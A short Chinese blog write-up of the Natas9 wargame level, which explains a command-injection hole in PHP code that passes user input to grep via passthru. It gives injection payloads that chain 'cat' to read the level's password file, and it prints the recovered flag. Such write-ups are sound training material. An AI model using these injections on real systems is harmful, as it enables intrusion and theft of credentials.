Natas9 Writeup(命令注入)

Natas9:

审计源码,发现关键代码:

$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    passthru("grep -i $key dictionary.txt");
}

php代码调用了passthru函数执行grep命令来查找我们提交的内容是否在 dictionary.txt中,由此想到命令注入漏洞,且已知各等级密码均存储在/etc/natas_webpass目录下,使用;或|或&来截断grep命令,再用cat读取密码,用#注释掉后面的内容,构造如下:& cat /etc/natas_webpass/natas10 #,post得到flag。

(或者构造如下:;cat /etc/natas_webpass/natas10;)

flag:nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu

 

总结:

1.php代码中,passthru()函数可以执行外部命令,类似于exec()。

2.grep -i 为不分大小写匹配查询。

3.使用;或|或&可以截断shell命令。

posted @ 2020-03-06 22:03  zhengna  阅读(381)  评论(0编辑  收藏  举报